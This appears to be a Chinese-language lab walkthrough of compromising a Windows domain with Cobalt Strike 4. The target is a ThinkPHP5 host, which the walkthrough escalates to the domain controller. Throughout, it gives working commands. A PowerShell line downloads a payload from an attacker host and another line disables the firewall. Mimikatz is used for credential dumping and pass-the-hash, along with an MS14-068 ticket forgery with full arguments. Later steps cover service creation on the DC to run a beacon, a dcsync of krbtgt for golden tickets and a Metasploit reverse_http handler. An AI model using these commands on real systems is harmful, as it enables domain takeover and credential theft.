这是老以前做的一个,主要熟悉一下cs4的新特性,还是发出来看看吧,流程简单一些,但是内网流程还是比较完整的。大家可以看看
Namp 扫一下
发现 80 3306
访问一下发现thinkphp5 记得是有rce的
searchsploit thinkphp
有货
cool可以用
上传的姿势太多了,我就使用一个最简单的
使用powershell 下载 CS payload
powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','C:\phpstudy_pro\WWW\a.ps1')
推荐可以直接放到C:\\Windows\\Temp\\里面
C:\\Windows\\Temp\\payload.exe
运行 直接上线 调整 sleep 1
权限比较低,需要提权
我生成了一个名为Priv Esc
的listener
(payload:tcp beacon)(建议勾选Bind to localhost only)
为什么要勾选呢?作者的话:(反正就是勾选就对了)
svc-exe
这个参数,并不是和exp
提权那样,帮你从普通用户 ”pwn!!“ 一下子拿下系统,而是当管理员权限满足不了你的时候,可以用svc-exe
进行提升(类似getsystem
命令,但是getsystem
不太好使)
evelate svc-exe
提权成功
切换到高权限用户
通过 explore-Process List 先查看一下进程,看看有没有杀毒软件
???
这个靶机怎么可能有?但是流程还是要走一下的
使用命令 netsh advfirewall set allprofiles state off 关闭防火墙
网段的端口扫描,得来一下意思意思吧
然后查看域的信息
net view /domain
还可以用cs4的新增命令
net domain
net domain_controllers
老方法
run net config workstation
工作站域是 sun.com
可现在登录域是 win7
因此我们需要一个域用户的进程来进行信息搜集
先调用 Logonpasswords 抓一波密码
还可以直观的看一下view- credentials
(因为是靶机,你最好把win7 的账户都登陆一下,否则只能抓到一个账户)
那我们拿到了这些凭据如何去调用他们呢?
切换回 本地管理员的beacon上 使用凭证有三种方法
Make_token是在当前的 beacon 上进行身份伪造
在当前beacon上,您的权限、权限或标识没有变化。但是,当您与远程资源交互时,使用的是您
伪造的身份.
先本地测试试命令,这个命令本地用户是用不了的,所以我们make_token一个域用户
net group “domain admins” /domain
有之前抓取的密码 域用户 leo 123.com
make_token SUN.COM/leo 123.com
# 注意域是SUN 要写成SUN.COM 才可以
pth SUN.COM\leo NTMLhash
找到PID
然后steal_token PID 成功执行域命令
steal_token 3860
spawnas 命令生成具有其他用户凭据的 beacon
用图形化不香吗?
或者命令
spawnas SUN.COM/leo 123.com
那我使用system权限进入,找到域用户进程
就会多出来一个用户的beacon,成功
有了域用户,那么就可以在域内收集信息
方法太多了,我只简单的介绍CS里面东西
net view
net view sun
查看信任域
查看域内计算机
查看域控
net dclist sun
这是输入sun域就可以,不用 sun.com
查看域管理员
Net group \\sun.com domain admin
查看所有用户
看下sid
信息汇总
域管理员默认没有。。。因为我们还要提权操作
域名:sun.com
域管理员:sun\administrator
域用户:administrator,admin,leo和一个krbtgt
域控:DC
域成员:DC,Win7
域控ip:192.168.138.138
用户sid:S-1-5-21-3388020223-1982701712-4030140183-1110
域sid:S-1-5-21-3388020223-1982701712-4030140183
已知凭据:sun\leo:123.com,win7\heart:123.com
我们利用之前所收集到的信息进行域提权的操作
只能上 ms14-068 域提权一波了
先上传exp
生成伪造缓存
shell MS14-068.exe -u leo\@sun.com -p 123.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138
此时会生成[email protected]的伪造缓存文件。
mimikatz kerberos::purge
清空当前机器中所有凭证
mimikatz kerberos::list
查看当前机器凭证
导入伪造缓存前面
用mimikaze
mimikatz kerberos::ptc TGT_leo\@sun.com.ccache
将票据注入到内存中
成功提取,读取到了数据
拿下DC
反向beacon连接
先建立一个listener
生成一个生成一个 stageless payload ,这里选用的是服务exe
选取刚刚的listener
生成exe
我起名叫godc.exe
然后访问
\\DC\\C$
upload 上传payload
加入注册表
主要这里有个坑
1 是\\ / 这俩要分清
2 还有就是 binpath= “C://” 这尼玛中间有个空格一定不能省略!!!!
binpath=空格“C://”
run sc \\DC create godc binpath= "C:/godc.exe"
启动服务
run sc \\DC start godc
机子也是反向链接回来的,注意箭头
在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去连接他。
link操作 只能是smb beacon
所以Leo那个是tcp的不能link操作
也要先调用凭据,远程命令执行
关闭防火墙
remote-exec wmi DC netsh advfirewall set allprofiles state off
黄金票据(golden ticket)
1、首先我们需要先利用 logonpasswords 抓一波明文(在名为DC的Beacon进行操作)
2、使用 dcsync 命令导出 krbtgt 的NTLM Hash
或者,使用 hashdump 也可以导出hash
到手
3、为了方便于实践黄金票据
找一个低权限的用户 ls \\DC\C$
要进行对比
制造黄金票据
可以运行
kerberos_ticket_purge
打开msf监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
msf5 exploit(multi/handler) > set lhost x.x.x.x
lhost => x.x.x.x
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
set lhost 127.0.0.1 set lhost eth0
set lhost 172.21.0.4 set lhost fe80::5054:ff:fe89:7f0f%eth0
set lhost ::1 set lhost lo
msf5 exploit(multi/handler) > set lhost 49.233.129.171
lhost => 49.233.129.171
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run
推荐脚本用奇安信A-Team写的脚本
链接:https://github.com/QAX-A-Team/EventLogMaster